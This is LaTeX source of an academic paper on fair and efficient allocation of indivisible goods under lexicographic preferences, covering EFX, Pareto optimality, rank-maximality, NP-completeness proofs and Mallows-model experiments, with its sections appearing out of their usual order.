\emph{Preferences}: \Cref{tab:EFX_RM_NP-complete} shows the preferences of the agents. Let $\vartriangleright$ define a \emph{reference} ordering on the set of goods. For every $i \in [r]$, if $C_{j}$ and $C_{k}$ denote the two clauses containing the positive literal $x_i$, then the literal agent $x_i$ ranks $S_i$ at the top, and the clause goods $C_j$ and $C_k$ at ranks $j+1$ and $k+1$, respectively. The missing positions consist of remaining goods ranked according to $\vartriangleright$ (we write $\vartriangleright_{\ell}$ to denote the top $\ell$ goods in $\vartriangleright$ that have not been ranked so far). The symbol $*$ indicates rest of the goods ordered according to $\vartriangleright$. The preferences of the (negative) literal agent $\overline{x}_i$ and the dummy agents $d_i$, $\overline{d}_i$ are defined similarly as shown in \Cref{tab:EFX_RM_NP-complete}. This completes the construction of the reduced instance.
Note that for any fixed $i \in [r]$, the signature good $S_i$ (or $\overline{S}_i$) is ranked at the top position by the literal agent $x_i$ (or $\overline{x}_i$), and at a lower position by all other agents. Therefore, any rank-maximal allocation must assign $S_i$ to $x_i$ and $\overline{S}_i$ to $\overline{x}_i$. For a similar reason, a rank-maximal allocation must assign the clause good $C_j$ to a literal agent corresponding to a literal contained in the clause $C_j$, and the dummy goods $T_i,B_i$ to the dummy agents $d_i,\overline{d}_i$. The aforementioned \emph{necessary} conditions for rank-maximality are also \emph{sufficient} since each clause good $C_j$ is ranked at the same position by all literal agents corresponding to the literals contained in clause $C_j$, and the goods $T_i$ and $B_i$ are ranked identically by $d_i$ and $\overline{d}_i$.
We will now argue the equivalence of solutions.
($\Rightarrow$) Given a satisfying truth assignment, the desired allocation, say $A$, can be constructed as follows: For every $i \in [r]$, assign the signature goods $S_i$ and $\overline{S}_i$ to the literal agents $x_i$ and $\overline{x}_i$, respectively. If $x_i = 1$, then assign $T_i$ to $d_i$ and $B_i$ to $\overline{d}_i$, otherwise, if $x_i = 0$, then assign $T_i$ to $\overline{d}_i$ and $B_i$ to $d_i$. For every $j \in [s]$, the clause good $C_j$ is assigned to a literal agent $x_i$ (or $\overline{x}_i$) if the literal $x_i$ (or $\overline{x}_i$) is contained in the clause $C_j$ and the clause is satisfied by the literal, i.e., $x_i = 1$ (or $\overline{x}_i = 1$). Note that under a satisfying assignment, each clause must have at least one such literal.
Observe that allocation $A$ satisfies the aforementioned sufficient condition for rank-maximality. Furthermore, any envied agent in $A$ receives exactly one good; in particular, if $d_i$ receives a bottom dummy good $B_i$, then we have $x_i = 0$ in which case the literal agent $x_i$, who is envied by $d_i$, does not receive any clause goods. By \Cref{prop:efx_property}, $A$ is \textrm{\textup{EFX}}{}.
($\Leftarrow$) Now suppose there exists an \textrm{\textup{EFX}}{} and rank-maximal allocation $A$. Then, $A$ must satisfy the aforementioned necessary condition for rank-maximality. That is, for every $i \in [r]$, the signature goods $S_i$ and $\overline{S}_i$ are assigned to the literal agents $x_i$ and $\overline{x}_i$, respectively (i.e., $S_i \in A_{x_i}$ and $\overline{S}_i \in A_{\overline{x}_i}$), and the dummy goods $T_i$ and $B_i$ are allocated between the dummy agents $d_i$ and $\overline{d}_i$ (i.e., $\{T_i,B_i\} \subseteq A_{d_i} \cup A_{\overline{d}_i}$). In addition, for every $j \in [s]$, the clause good $C_j$ is assigned to a literal agent $x_i$ (or $\overline{x}_i$) such that the literal $x_i$ (or $\overline{x}_i$) is contained in the clause $C_j$. Also, by \Cref{prop:efx_property}, each dummy agent must get exactly one dummy good.
We will construct a truth assignment for the \textup{\textsc{(2/2/3)-SAT}}{} instance as follows: For every $i \in [r]$, if $T_i \in A_{d_i}$, then set $x_i = 1$, otherwise set $x_i = 0$. Note that the assignment is feasible as no literal is assigned conflicting values. To see why this is a satisfying assignment, consider any clause $C_j$. Suppose the clause good $C_j$ is assigned to a literal agent $x_i$ (an analogous argument works when $\overline{x}_i$ gets $C_j$). Then, due to rank-maximality, we know that the literal $x_i$ must be contained in the clause $C_j$. Furthermore, since agent $x_i$ gets more than one good ($S_i,C_j \in A_{x_i}$), it cannot be envied under $A$ (\Cref{prop:efx_property}). Thus, the dummy agent $d_i$ must get the top good $T_i$. Recall that in this case we set $x_i=1$. Since clause $C_j$ contains $x_i$, it must be satisfied, as desired.
\end{proof}
The intractability in \Cref{thm:EFX_RM_NP-complete} persists even when we relax the fairness requirement from \textrm{\textup{EFX}}{} to \EF{k}.
\begin{restatable}[]{thm}{EFkRM}
For any fixed $k \in \mathbb{N}$, determining the existence of an \EF{k} and rank-maximal allocation is \textrm{\textup{NP-complete}}{}.
\label{thm:EFk_RM_NP-complete}
\end{restatable}
We note that the proof of \Cref{thm:EFk_RM_NP-complete} (see \Cref{sec:app:thm:EFk_RM_NP-complete} of the appendix) differs considerably from that of \Cref{thm:EFX_RM_NP-complete} as neither result is an immediate consequence of the other. Indeed, a YES instance of \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} is also a YES instance of \EF{k}+\textrm{\textup{RM}}{}, but the same is not true for a NO instance.
A corollary of \Cref{thm:EFk_RM_NP-complete} is that checking the existence of \EF{1}+\textrm{\textup{RM}}{} allocations for \emph{additive valuations} is also \textrm{\textup{NP-complete}}{}.\footnote{An additive valuations instance in which agent $i$ values its $j^\textup{th}$ favorite good at $2^{m-j+1}$ is equivalent to the lexicographic instance.} For this setting, \citet{AHM+19constrained} have shown \textrm{\textup{NP-complete}}{}ness even for three agents. By contrast, we will show that for lexicographic preferences, the problem is efficiently solvable when $n=3$ (\Cref{prop:EF1_RM_ThreeAgents}). The proof of this result is deferred to \Cref{sec:app:prop:EF1_RM_ThreeAgents} of the appendix.
\begin{restatable}[]{prop}{EFoneRMThreeAgents}
There is a polynomial-time algorithm that, given as input a lexicographic instance with three agents, computes an \EF{1} and rank-maximal allocation, whenever one exists.
\label{prop:EF1_RM_ThreeAgents}
\end{restatable}
Another avenue for circumventing the intractability in \Cref{thm:EFX_RM_NP-complete} is provided by \emph{maximin share guarantee} (\textrm{\textup{MMS}}{}). For additive valuations, \textrm{\textup{EFX}}{} and \textrm{\textup{MMS}}{} are incomparable notions~\citep{ABM18comparing}. However, for lexicographic preferences, \textrm{\textup{MMS}}{} is strictly weaker than \textrm{\textup{EFX}}{} (see \Cref{prop:EFX_implies_MMS} in \Cref{sec:app:prop:EFX_implies_MMS} of the appendix). This relaxation of \textrm{\textup{EFX}}{} turns out to be computationally useful, as the existence of an \textrm{\textup{MMS}}{} and rank-maximal allocations can be checked in polynomial time.
\begin{restatable}[]{thm}{MMSRMGoods}
There is a polynomial-time algorithm that, given as input a lexicographic instance, computes an \textrm{\textup{MMS}}{} and rank-maximal allocation, whenever one exists.
\label{thm:MMS_RM_Goods}
\end{restatable}
\begin{proof}
Fix any agent $i \in N$, and suppose its preference is given by $\>_i \coloneqq g_1 \, \> \, g_2 \, \> \dots \> \, g_m$. Under lexicographic preferences, the \textrm{\textup{MMS}}{} partition of agent $i \in N$ is uniquely defined as
$$\left\{\{g_1\},\{g_2\},\dots,\{g_{n-1}\},\{g_n,g_{n+1},\dots,g_m\}\right\}.$$
This observation gives a characterization of \textrm{\textup{MMS}}{} allocations: An allocation is \textrm{\textup{MMS}}{} if and only if each agent either receives one or more of its top-$(n-1)$ goods, or it receives all of its bottom-$(m-n+1)$ goods.
Construct a bipartite graph $G = (N \cup M, E)$ between agents and goods where an edge $(i,j) \in E$ exists if agent $i$ ranks good $j$ within its top-$(n-1)$ goods, and good $j$ can be `rank-maximally assigned' to agent $i$ (in other words, agent $i$ ranks good $j$ at least as high as any other agent).
If $G$ admits a perfect matching (this can be checked in polynomial time), then, by the above characterization, we have a partial allocation that is \textrm{\textup{MMS}}{} and rank-maximal. By assigning the unmatched goods in a rank-maximal manner, we obtain a desired complete allocation.
Thus, for the rest of the proof, let us assume that $G$ does not have a perfect matching. Note that in this case, the unordered set of top-$(n-1)$ goods of each agent is the same. Then, either there is no \textrm{\textup{MMS}}{}+rank-maximal allocation, or if there exists one, then it must be that some agent gets \emph{all} of its bottom-$(m-n+1)$ goods. The latter condition can be checked in polynomial time as follows (note that this would establish the desired polynomial running time of our algorithm): First, we check for each agent whether it can be assigned its bottom-$(m-n+1)$ goods in a rank-maximal manner; let $S$ denote the set of all agents who satisfy this condition. If $S$ is empty, then we can return NO. Otherwise, we move to the next step.
Fix an arbitrary agent $i \in S$, and let $g_n,g_{n+1},...,g_m$ denote its bottom-$(m-n+1)$ goods. Since each of $g_n,g_{n+1},...,g_m$ is rank-maximal for agent $i$, it must be that \emph{every} agent ranks these goods in the \emph{exact same way}, i.e., between the positions $n$ and $m$. The reason is that since the good $g_m$ can be rank-maximally assigned to agent $i$, it must be ranked last by \emph{every} agent. Subject to that, the good $g_{m-1}$ must be ranked at $m-1$ by every agent, and so on. In this case, we can ``bundle up'' the bottom $m-n+1$ goods into a single ``meta'' good, and treat the new instance as one with $n$ agent and $n$ goods, where the meta good is ranked last by everybody. Then, the old instance admits an \textrm{\textup{MMS}}{} allocation if and only if the new instance admits one, which, in turn, happens if and only if the bipartite graph of the new instance admits a perfect matching.
\end{proof}
\section{Experiments}
We now revisit the non-existence result in \Cref{eg:EFk+RM_NonExistence} by examining how frequently fair (i.e., \EF{}, \textrm{\textup{EFX}}{}, \EF{1}, \textrm{\textup{MMS}}{}) and efficient (i.e., rank-maximal) allocations exist in synthetically generated data. To that end, we consider a fixed number of agents ($n=5$) whose preferences over a set of $m$ goods (where $m \in \{5,\dots,100\}$) are generated using the Mallows model~\citep{Mallows1957}. Given a reference ranking $\>^* \in \L$ and a dispersion parameter $\phi \in [0,1]$, the probability of generating a ranking $\>_i \in \L$ under the Mallows model is given by $\frac{1}{Z} \phi^{\texttt{d}(\>^*,\>_i)}$, where $Z$ is a normalization constant and $\texttt{d}(\cdot)$ is the Kendall's Tau distance. Thus, $\phi=0$ induces identical preferences (i.e., $\>_i=\>^*$) while $\phi=1$ is the uniform distribution. For each combination of $m$, $n$, and $\phi\in\{0,0.25,0.5,0.75,1\}$, we sample $1000$ preference profiles, and use an integer linear program to check the existence of $\{\EF{},\textrm{\textup{EFX}}{},\EF{1},\textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}$ allocations. Code and data for all our experiments is available at \url{https://github.com/sujoyksikdar/Envy-Freeness-With-Lexicographic-Preferences}.
\begin{figure*}[ht]
\centering
\includegraphics[width=0.49\textwidth]{plots/mallows_EF+RM_n=5_existence_m=100.png}
\includegraphics[width=0.49\textwidth]{plots/mallows_EFX+RM_n=5_existence_m=100.png}\\
\includegraphics[width=0.49\textwidth]{plots/mallows_EF1+RM_n=5_existence_m=100.png}
\includegraphics[width=0.49\textwidth]{plots/mallows_MMS+RM_n=5_existence_m=100.png}
\caption{The plots show how the fraction of instances that admit $\{\EF{},\textrm{\textup{EFX}}{},\EF{1},\textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}$ allocations varies with the number of goods. The number of agents is fixed ($n=5$), and their preferences follow the Mallows model with dispersion parameter $\phi$.}
\label{fig:mallows}
\end{figure*}
\Cref{fig:mallows} presents our experimental results. For identical preferences ($\phi=0$), every complete allocation is Pareto optimal as well as rank-maximal. Therefore, an \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} (and hence \{\EF{1}, \textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}) allocation always exists in this case, validating our theoretical result in \Cref{thm:EFX_PO}. On the other hand, an \EF{}+\textrm{\textup{RM}}{} allocation fails to exist because of the conflict in top-ranked goods. At the other extreme for $\phi=1$ (i.e., the uniform distribution), we note that the probability of existence of \EF{}+\textrm{\textup{RM}}{} outcomes grows steadily with $m$. This is because for (exact) envy-freeness, all five rankings should have distinct top goods, the probability of which is $(1-\frac{1}{m}) \cdot (1-\frac{2}{m}) \cdot (1-\frac{3}{m}) \cdot (1-\frac{4}{m})$. For $m=100$, this value is roughly $0.9$, suggesting that in the asymptotic regime, envy-free (and, by extension, envy-free and rank-maximal) allocations are increasingly likely to exist (as \Cref{fig:mallows} shows), and that our algorithm in \Cref{prop:EF_RM_Polytime} will return \EF{}+\textrm{\textup{RM}}{} outcomes with high probability.
We observe that for small values of $m$, a significantly greater fraction of instances admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations than \EF{}+\textrm{\textup{RM}}{} allocations. However, as the number of goods increases, this gap, i.e. the fraction of instances that do not admit \EF{}+\textrm{\textup{RM}}{} allocations but do admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations, shrinks rapidly. We conjecture that the likelihood that every agent must be allocated more than one good in any \textrm{\textup{RM}}{} allocation increases as the number of goods increases. Therefore, it is likely that envied agents receive more than one good, which is in direct conflict with \textrm{\textup{EFX}}{}. As we show in \Cref{sec:app:experiments} of the appendix, for relatively small values of $m$, the fraction of instances that admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations decreases initially with the number of goods up to a point, after which the difference between the fractions of instances that admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} and \EF{}+\textrm{\textup{RM}}{} becomes negligible, and we observe an increasing trend both in the fraction of instances that admit \EF{}+\textrm{\textup{RM}}{} allocations and those that admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations.
We also observe a general trend in our plots that $\{\EF1{},\textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}$ allocations tend to exist more frequently as the number of goods increases. This together with the similar increasing trend for \EF{}+\textrm{\textup{RM}}{} and \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{}, suggests that the distributional approach could be a promising avenue for addressing the non-existence result in \Cref{eg:EFk+RM_NonExistence}.
\section{Concluding Remarks}
We studied the interplay of fairness and efficiency under lexicographic preferences, obtaining strong algorithmic characterizations for \textrm{\textup{EFX}}{} and Pareto optimality that addressed notable gaps in the additive valuations model, and outlining the computational limits of our approach for the stronger efficiency notion of rank-maximality.
A natural extension to our preference model is including ties or weak orders where lexicographic preferences are over `equivalence classes'. Clearly, the computational intractability and incompatibility results in this paper extend to this larger class.
When preferences can include ties, several intricate axiomatic and technical challenges may arise. An interesting future direction is to start from mechanisms proposed by \citet{krysta2014size} and \citet{bogomolnaia2005strategy} for achieving strategyproof and \textup{PO}{} allocations, and investigate the existence and compatibility of \textrm{\textup{EFX}}{} along with other desirable properties.
Going forward, it would be interesting to develop distribution-specific algorithms that can compute \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} (or \EF{1}+\textrm{\textup{RM}}{}) allocations with, say, a constant probability. Extending our algorithmic characterization results to other fairness notions, specifically \EF{1} and \textrm{\textup{MMS}}{}, will also be of interest.
\section*{Acknowledgments}
HH acknowledges support from NSF grant \#1850076. RV acknowledges support from ONR\#N00014-171-2621 while he was affiliated with Rensselaer Polytechnic Institute, and is currently supported by project no. RTI4001 of the Department of Atomic Energy, Government of India. Part of this work was done while RV was supported by the Prof. R Narasimhan postdoctoral award. LX acknowledges support from NSF \#1453542 and \#1716333, ONR \#N00014-171-2621, and a gift fund from Google. We thank the anonymous reviewers for their very helpful comments and suggestions.
\bibliographystyle{named}
\section{Introduction}
Fair and efficient allocation of scarce resources is a fundamental problem in economics and computer science. The quintessential fairness notion---\emph{envy-freeness}---enjoys strong existential and computational guarantees for \emph{divisible} resources~\citep{varian1974equity}. However, in notable applications such as course allocation~\citep{budish2011combinatorial} and property division~\citep{PW12divorcing} that involve \emph{indivisible} resources, (exact) envy-freeness could be too restrictive. In these settings, it is natural to consider notions of approximate fairness such as \emph{envy-freeness up to any good} (\textrm{\textup{EFX}}{}) wherein pairwise envy can be eliminated by the removal of any good in the envied bundle~\citep{caragiannis2019unreasonable}.
\textrm{\textup{EFX}}{} is arguably the closest analog of envy-freeness in the indivisible setting, and, as a result, has been actively studied especially for the domain of additive valuations. However, it also suffers from a number of limitations: First, barring a few special cases, the existence and computation of \textrm{\textup{EFX}}{} allocations remains an open problem. Second, for additive valuations, \textrm{\textup{EFX}}{} can be incompatible with \emph{Pareto optimality} (\textup{PO}{})---a fundamental notion of economic efficiency~\citep{PR20almost}. Finally, \textrm{\textup{EFX}}{} could also be at odds with \emph{strategyproofness}~\citep{amanatidis2017truthful}, which is another desirable property in the economic analysis of allocation problems.
The aforementioned limitations of \textrm{\textup{EFX}}{} prompt us to explore the \emph{domain restriction} approach in search of positive results~\citep{ELP16preference}. Specifically, we deviate from the framework of cardinal preferences for which \textrm{\textup{EFX}}{} allocations have been most extensively studied, and instead focus on the purely ordinal domain of \emph{lexicographic preferences}.
Lexicographic preferences have been widely studied in psychology~\citep{GG96reasoning}, machine learning~\citep{SM06complexity}, and social choice~\citep{T70problem} as a model of human decision-making. Several real-world settings such as evaluating job candidates and the desirability of a product involve lexicographic preferences over the set of features. In the context of fair division, too, lexicographic preferences can arise naturally. For example, when dividing an inheritance consisting of a house, a car, and some home appliances, a stakeholder might prefer any division in which she gets the house over one where she doesn't (possibly because of its sentimental value), subject to which she might prefer any outcome that includes the car over one that doesn't, and so on.
On the computational side, lexicographic preferences provide a succinct language for representing preferences over combinatorial domains~\citep{saban2014note,LMX18voting}, and have led to numerous positive results at the intersection of artificial intelligence and economics~\citep{FLS18complexity,hosseini2019multiple}. Motivated by these considerations, our work examines the existence and computation of \emph{fair} (i.e., \textrm{\textup{EFX}}{}) and \emph{efficient} allocations from the lens of lexicographic preferences.
\begin{figure}[h]
\centering
%
\tikzset{every picture/.style={line width=0.5pt}}
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\footnotesize
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\draw (-1.5,2.5-0.5) node[align=center] (8) {{Characterization}\\{(\Cref{thm:EFX_PO})}};
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%
\caption{Summary of our theoretical results.}
\label{fig:Summary_Of_Results}
\end{figure}
\paragraph{Our Contributions.}
\Cref{fig:Summary_Of_Results} summarizes our theoretical contributions.
\begin{itemize}
\item \textbf{\textrm{\textup{EFX}}{}+\textup{PO}{}}: Our first result provides a family of polynomial-time algorithms for computing \textrm{\textup{EFX}}{}+\textup{PO}{} allocations under lexicographic preferences. Furthermore, we show that \emph{any} \textrm{\textup{EFX}}{}+\textup{PO}{} allocation can be computed by some algorithm in this family, thus providing an algorithmic characterization of such allocations~(\Cref{thm:EFX_PO}). This result establishes a sharp contrast with the additive valuations domain where the two properties are incompatible in general.
\item \textbf{\textrm{\textup{EFX}}{}+\textup{PO}{}+strategyproofness}: The positive result for \textrm{\textup{EFX}}{}+\textup{PO}{} motivates us to investigate a more demanding property combination of \textrm{\textup{EFX}}{}, \textup{PO}{}, and strategyproofness. Once again, we obtain an algorithmic characterization~(\Cref{thm:EFX_PO_SP_Neutral_NonBossy}): Subject to some common axioms (non-bossiness and neutrality), any mechanism satisfying \textrm{\textup{EFX}}{}, \textup{PO}{}, and strategyproofness is characterized by a special class of \emph{quota-based serial dictatorship mechanisms}~\citep{Papai00:Strategyproofquotas,hosseini2019multiple}.
\item \textbf{\textrm{\textup{EFX}}{}+rank-maximality}: When the efficiency notion is strengthened to \emph{rank-maximality}, we encounter incompatibility with strategyproofness (\Cref{eg:SP+RM_NonExistence}) as well as with \textrm{\textup{EFX}}{} (\Cref{eg:EFk+RM_NonExistence}). Furthermore, checking the existence of \textrm{\textup{EFX}}{} and rank-maximal allocations turns out to be \textrm{\textup{NP-complete}}{}~(\Cref{thm:EFX_RM_NP-complete}), suggesting that our algorithmic results are, in a certain sense, `maximal'. The intractability persists even when \textrm{\textup{EFX}}{} is relaxed to envy-freeness up to $k$ goods ($\EF{k}$)~(\Cref{thm:EFk_RM_NP-complete}), but efficient computation is possible if \textrm{\textup{EFX}}{} is relaxed to another well-studied fairness notion called \emph{maximin share guarantee} or \textrm{\textup{MMS}}{}~(\Cref{thm:MMS_RM_Goods}).
\end{itemize}
\paragraph{Related Work.}
Envy-free solutions may not always exist for indivisible goods. As a result, the literature has focused on notions of approximate fairness, most notably \emph{envy-freeness up to one good} (\EF{1}) and its strengthening called \emph{envy-freeness up to any good} (\textrm{\textup{EFX}}{}). The former enjoys strong existential and algorithmic support, as an \EF{1} allocation always exists for general monotone valuations and can be efficiently computed. However, achieving \EF{1} together with economic efficiency seems non-trivial: For additive valuations, \EF{1}+\textup{PO}{} allocations always exist~\citep{caragiannis2019unreasonable,BKV18finding} but no polynomial-time algorithm is known for computing such allocations.
The stronger notion of \textrm{\textup{EFX}}{} has proven to be more challenging. As mentioned previously, the existence of \textrm{\textup{EFX}}{} for additive valuations remains an open problem. Additionally, \textrm{\textup{EFX}}{} and Pareto optimality are known to be incompatible for non-negative additive valuations~\citep{PR20almost} and is open for positive additive valuations.
The aforementioned limitations of \textrm{\textup{EFX}}{} have motivated the study of further relaxations or special cases in search of positive results. Some recent results establish the existence of partial allocations that satisfy \textrm{\textup{EFX}}{} after discarding a small number of goods while also fulfilling certain efficiency criteria~\citep{CGH19envy,CKM+20little}. Similarly, \textrm{\textup{EFX}}{} allocations have been shown to exist for the special case of three agents with additive valuations~\citep{CGM20efx}, or when the agents can be partitioned into two \emph{types}~\citep{M20existence}, or when agents have dichotomous preferences~\citep{ABF+20maximum}. For cardinal utilities, various multiplicative approximations of \textrm{\textup{EFX}}{} (and its variant that involves removing an \emph{average} good) have been considered~\citep{PR20almost,AMN20multiple,CGM20fair,FHL+20almost}. Another emerging line of work studies \textrm{\textup{EFX}}{} for \emph{non-monotone} valuations, i.e., when the resources consist of both goods and chores~\citep{CL20fairness,BBB+20envy}.
The interaction between fairness and efficiency is further complicated with the addition of \emph{strategyproofness} due to several fundamental impossibility results both in deterministic \citep{zhou1990conjecture} as well as randomized settings~\citep{Bogomolnaia01:New,kojima2009random}.
Indeed, while ordinal efficiency is compatible with envy-freeness, such outcomes cannot, in general, be achieved via (weakly) strategyproof mechanisms even under strict preferences~\citep{kojima2009random}. Moreover, sd-efficiency and sd-strategyproofness (here, \emph{sd} stands for stochastic dominance) are incompatible even with a weak notion of stochastic fairness called equal treatment of equals~\citep{aziz2017impossibilities}. In a similar vein, for deterministic mechanisms, any strategyproof mechanism could fail to satisfy \EF{1} even for two agents under additive valuations~\citep{amanatidis2017truthful}.
Lexicographic preferences have been successfully used as a domain restriction to circumvent impossibility results in mechanism design~\citep{Sikdar2017:Mechanism,FLS18complexity}. In fair division of indivisible goods, lexicographic (sub)additive utilities have facilitated constant-factor approximation algorithms for egalitarian and Nash social welfare objectives~\citep{BBL+17positional,N20fairly}. \citet{hosseini2019multiple} show that under lexicographic preferences, a mechanism is Pareto optimal, strategyproof, non-bossy, and neutral if and only if it is a serial dictatorship quota mechanism. In randomized settings, too, lexicographic preferences have led to the design of mechanisms that simultaneously satisfy stochastic efficiency, envy-freeness, and \text{strategyproofness}{}~\citep{SV15allocation,hosseini2019multiple}.
\section{Preliminaries}
\paragraph{Model} For any $k \in \mathbb{N}$, define $[k] \coloneqq \{1,\dots,k\}$. An \emph{instance} of the allocation problem is a tuple $\langle N, M, \succ \rangle$, where $N \coloneqq [n]$ is a set of $n$ {\em agents}, $M$ is a set of $m$ \emph{goods}, and $\succ \, \coloneqq (\succ_1, \dots, \succ_n)$ is a {\em preference profile} that specifies the ordinal preference of each agent $i \in N$ as a linear order $\succ_i \, \in \L$ over the set of goods; here, $\L$ denotes the set of all (strict and complete) linear orders over $M$.
\paragraph{Allocation and bundles} A \emph{bundle} is any subset $X \subseteq M$ of the set of goods. An {\em allocation} $A=(A_1,\dots,A_n)$ is an $n$-partition of $M$, where $A_i\subseteq M$ is the bundle assigned to agent $i$. We will write $\Pi$ to denote the set of all $n$-partitions of $M$. We say that allocation $A$ is {\em partial} if $\bigcup_{i \in N} A_i \subset M$, and \emph{complete} if $\bigcup_{i \in N} A_i = M$.
\paragraph{Lexicographic preferences}
We will assume that agents' preferences over the bundles are given by the lexicographic extension of their preferences over individual goods. Informally, this means that if an agent ranks the goods in the order $a \succ b \succ c \succ \dots$, then it prefers a bundle containing $a$ over any other bundle that doesn't, subject to that, it prefers a bundle containing $b$ over any other bundle that doesn't, and so on. Formally, given any pair of bundles $X,Y \subseteq M$ and any linear order $\succ_i \, \in \L$, we have $X \succ_i Y$ if and only if there exists a good $g \in X \setminus Y$ such that $\{g' \in Y : g' \succ_i g\} \subseteq X$. Notice that since $\succ_i$ is a linear order over $M$, the corresponding lexicographic extension is a linear order over $2^M$.
For any agent $i \in N$ and any pair of bundles $X,Y \in M$, we will write $X \succeq_i Y$ if either $X \succ_i Y$ or $X=Y$.
\paragraph{Envy-freeness} Given a preference profile $\>$, an allocation $A$ is said to be (a) \emph{envy-free} (\EF{}) if for every pair of agents $i,h \in N$, we have $A_i \succeq_i A_h$; (b) \emph{envy-free up to any good} (\textrm{\textup{EFX}}{}) if for every pair of agents $i,h \in N$ such that $A_h \neq \emptyset$ and every good $j \in A_h$, we have $A_i \succeq_i A_h \setminus \{j\}$, and (c) \emph{envy-free up to $k$ goods} (\EF{k}) if for every pair of agents $i,h \in N$ such that $A_h \neq \emptyset$, there exists a set $S \subseteq A_h$ such that $|S| \leq k$ and $A_i \succeq_i A_h \setminus S$. Clearly, $\textrm{\textup{EFX}}{} \Rightarrow \EF{1} \Rightarrow \EF{2} \Rightarrow \dots$.
\paragraph{Maximin Share} An agent's maximin share is its most preferred bundle that it can guarantee itself as a divider in an $n$-person cut-and-choose procedure against adversarial opponents~\citep{budish2011combinatorial}. Formally, the maximin share of agent $i$ is given by $\textrm{\textup{MMS}}_i \coloneqq \max_{A \in \Pi} \min_{i} \{A_1,\dots,A_n\}$, where $\min\{\cdot\}$ and $\max\{\cdot\}$ denote the least-preferred and most-preferred bundles with respect to $\succ_i$. An allocation $A$ satisfies \emph{maximin share guarantee} (\textrm{\textup{MMS}}{}) if each agent receives a bundle that it weakly prefers to its maximin share. That is, the allocation $A$ is \textrm{\textup{MMS}}{} if for every $i \in N$, $A_i \succeq_i \textrm{\textup{MMS}}_i$. It is easy to see that $\EF{} \Rightarrow \textrm{\textup{MMS}}{}$. Additionally, for lexicographic preferences, we have that $\textrm{\textup{EFX}}{} \Rightarrow \textrm{\textup{MMS}}{}$ (the converse is not true) while \EF{1} and \textrm{\textup{MMS}}{} can be incomparable (see \Cref{sec:app:prop:EFX_implies_MMS} of the appendix).
\paragraph{Pareto optimality} Given a preference profile $\>$, an allocation $A$ is said to be \emph{Pareto optimal} (\textup{PO}{}) if there is no other allocation $B$ such that $B_i \succeq_i A_i$ for every agent $i \in N$ and $B_k \succ_k A_k$ for some agent $k \in N$.
\paragraph{Rank-maximality} A \emph{rank-maximal} (\textrm{\textup{RM}}{}) allocation is one that maximizes the number of agents who receive their favorite good, subject to which it maximizes the number of agents who receive their second favorite good, and so on~\citep{IKM+06rank,P13capacitated}. Given an allocation $A$, its \emph{signature} refers to a tuple $(n_1,n_2,\dots,n_m)$ where $n_i$ is the number of agents who receive their $i^\text{th}$ favorite good (note that an agent can contribute to multiple $n_i$'s). All rank-maximal allocations for a given instance have the same signature. Computing \emph{some} rank-maximal allocation for a given instance is easy: Assign each good to an agent that ranks it the highest among all agents (tiebreak arbitrarily). This procedure provides a computationally efficient way of computing the signature of a rank-maximal allocation as well as verifying whether a given allocation is rank-maximal. Notice that rank-maximality is a strictly stronger requirement than Pareto optimality.
\paragraph{Mechanism} A mechanism $f: \L^n \to \Pi$ is a mapping from preference profiles to allocations. For any preference profile $\succ \, \in \L^n$, we use $f(\>)$ to denote the allocation returned by $f$, and $f_i(\>)$ to denote the bundle assigned to agent $i$.
\paragraph{Properties of mechanisms} A mechanism $f: \L^n \to \Pi$ is said to satisfy \EF{}\,/\,\textrm{\textup{EFX}}{}\,/\,\EF{k}\,/\,\textup{PO}{}\,/\,\textrm{\textup{RM}}{} if for every preference profile $\succ \, \in \L^n$, the allocation $f(\>)$ has that property. In addition, a mechanism $f$ satisfies
\begin{itemize}
\item \emph{strategyproofness} (\textrm{\textup{SP}}{}) if no agent can improve by misreporting its preferences. That is, for every preference profile $\succ \, \in \L^n$, every agent $i \in N$, and every (misreported) linear order $\>'_i \in \L$, we have $f_i(\>) \succeq_i f_i(\>')$, where $\>' \coloneqq (\>_1,\dots,\>_{i-1},\>'_i,\>_{i+1},\dots,\>_n)$.
\item \emph{non-bossiness} if no agent can modify the allocation of another agent by misreporting its preferences without changing its own allocation. That is, for every profile $\succ \, \in \L^n$, every agent $i\in N$, and every (misreported) linear order $\>'_i \in \L$, we have $f_i(\>')=f_i(\>) \Rightarrow f(\>')=f(\>)$, where $\>' \coloneqq (\>_1,\dots,\>_{i-1},\>'_i,\>_{i+1},\dots,\>_n)$.
\item \emph{neutrality} if relabeling the goods results in a consistent change in the allocation. That is, for every preference profile $\succ \, \in \L^n$ and every relabeling of the goods $\pi: M \rightarrow M$, it holds that $f(\pi(\>)) = \pi(f(\>))$, where $\pi(\>) \coloneqq (\pi(\>_1),\dots,\pi(\>_n))$ and $\pi(A) \coloneqq (\pi(A_1),\dots,\pi(A_n))$ for any allocation $A = (A_1,\dots,A_n)$.
\end{itemize}
\section{\textrm{\textup{EFX}}{} and Pareto Optimality}
Recall that for additive valuations, establishing the existence of \textrm{\textup{EFX}}{} allocations remains an open problem, and there exist instances where no allocation is simultaneously \textrm{\textup{EFX}}{} and \textup{PO}{}~\citep{PR20almost}. Our first result (\Cref{thm:EFX_PO}) shows that there is no conflict between fairness and efficiency for lexicographic preferences: Not only does there exist a family of polynomial-time algorithms that always return \textrm{\textup{EFX}}{}+\textup{PO}{} allocations, but \emph{every} \textrm{\textup{EFX}}{}+\textup{PO}{} allocation can be computed by some algorithm in this family. We will start with an easy observation concerning \textrm{\textup{EFX}}{} allocations.
\begin{restatable}{prop}{EFXProperty}
An allocation $A$ is \textrm{\textup{EFX}}{} if and only if each envied agent in $A$ gets exactly one good.
\label{prop:efx_property}
\end{restatable}
\paragraph{Description of algorithm}
